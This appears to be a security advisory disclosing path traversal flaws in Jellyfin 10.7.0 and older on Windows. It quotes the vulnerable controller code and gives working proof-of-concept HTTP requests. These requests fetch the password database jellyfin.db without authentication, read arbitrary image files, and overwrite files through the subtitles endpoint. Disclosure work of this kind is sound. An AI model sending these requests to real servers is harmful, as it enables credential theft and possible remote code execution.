Jellyfin allows unauthenticated arbitrary file read.
Jellyfin
The latest 10.7.0 and older
/Audio/itemId/hls/segmentId/stream.mp3
and /Audio/itemId/hls/segmentId/stream.aac
Both the /Audio/{Id}/hls/{segmentId}/stream.mp3
and /Audio/{Id}/hls/{segmentId}/stream.aac
routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the {segmentId}
part of the route to a relative or absolute path using the Windows path separator \
(%5C
when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with .mp3
and .aac
[2]. However, by using a trailing slash in the URL path it is possible to make Path.GetExtension(Request.Path)
return an empty extension, thus obtaining full control of the resulting file path. The itemId
doesn’t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system.
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
// TODO: Deprecate with new iOS app
var file = segmentId + Path.GetExtension(Request.Path); //[2]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}
The following request for example would download the jellyfin.db
database with passwords from the server:
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
This issue may lead to unauthorized access to the system especially when Jellyfin is configured to be accessible from the Internet.
/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer
The /Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}
route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the {SegmentId}.{SegmentContainer}
part of the route to a relative or absolute path using the Windows path separator \
(%5C
when URL encoded). The SegmentId
and file extension from Path
are concatenated [2]. The resulting file
is used as the second parameter to Path.Combine
[3]. However, if the second parameter is an absolute path, the first parameter to Path.Combine
is ignored and the resulting path is just the absolute path file
.
A pre-requisite for the attack is that the jellyfin/transcodes
directory contains at least one .m3u8
file [4] (i.e. some user started streaming a video or it is left there since the last stream). The itemId
doesn’t matter as it is not used and PlaylistId
must be a substring of the m3u8
file [5]. It can be just m
as it is always in the *.m3u8
file name.
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
[FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId,
[FromRoute, Required] string segmentId,
[FromRoute, Required] string segmentContainer)
{
var file = segmentId + Path.GetExtension(Request.Path); //[2]
var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
file = Path.Combine(transcodeFolderPath, file); //[3]
var normalizedPlaylistId = playlistId;
var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
// Add . to start of segment container for future use.
segmentContainer = segmentContainer.Insert(0, ".");
string? playlistPath = null;
foreach (var path in filePaths)
{
var pathExtension = Path.GetExtension(path);
if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
|| string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
&& path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
{
playlistPath = path;
break;
}
}
return playlistPath == null
? NotFound("Hls segment not found.")
: GetFileResult(file, playlistPath);
}
PoC:
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
This issue may lead to unauthorized access to the system especially when Jellyfin is configured to be accessible from the Internet.
/Videos/Id/hls/PlaylistId/stream.m3u8
/Videos/{Id}/hls/{PlaylistId}/stream.m3u8
allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with .m3u8
[1]. However, by using a trailing slash in the URL path it is possible to make Path.GetExtension(Request.Path)
return an empty extension, thus obtaining full control of the resulting file path. The itemId
doesn’t matter as it is not used.
[HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")]
[Authorize(Policy = Policies.DefaultAuthorization)]
//...
public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId)
{
var file = playlistId + Path.GetExtension(Request.Path); //[1]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return GetFileResult(file, file);
}
PoC:
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
This issue may lead to privilege elevation.
/Images/Ratings/theme/name
, /Images/MediaInfo/theme/name
and Images/General/name/type
The /Images/Ratings/{theme}/{name}
, /Images/MediaInfo/{theme}/{name}
and /Images/General/{name}/{type}
routes allow unauthenticated arbitrary image file read on Windows. It is possible to set the {theme}
[1] or {name}
[2] part of the route to a relative or absolute path using the Windows path separator \
(%5C
when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: .png
, .jpg
, .jpeg
, .tbn
, .gif
.
[HttpGet("MediaInfo/{theme}/{name}")]
[AllowAnonymous]
//...
public ActionResult GetMediaInfoImage(
[FromRoute, Required] string theme,
[FromRoute, Required] string name)
{
return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);
}
//...
private ActionResult GetImageFile(string basePath, string theme, string? name)
{
var themeFolder = Path.Combine(basePath, theme); //[1]
if (Directory.Exists(themeFolder))
{
var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3]
.FirstOrDefault(System.IO.File.Exists);
if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))
{
var contentType = MimeTypes.GetMimeType(path);
return PhysicalFile(path, contentType);
}
}
PoCs to download c:\temp\filename.jpg
:
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
This issue may lead to unauthorized access to image files especially when Jellyfin is configured to be accessible from the Internet.
/Videos/itemId/Subtitles
not limited to WindowsVideos/{itemId}/Subtitles
allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries.
PoC:
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}
This issue may lead to post-authenticated arbitrary remote code execution.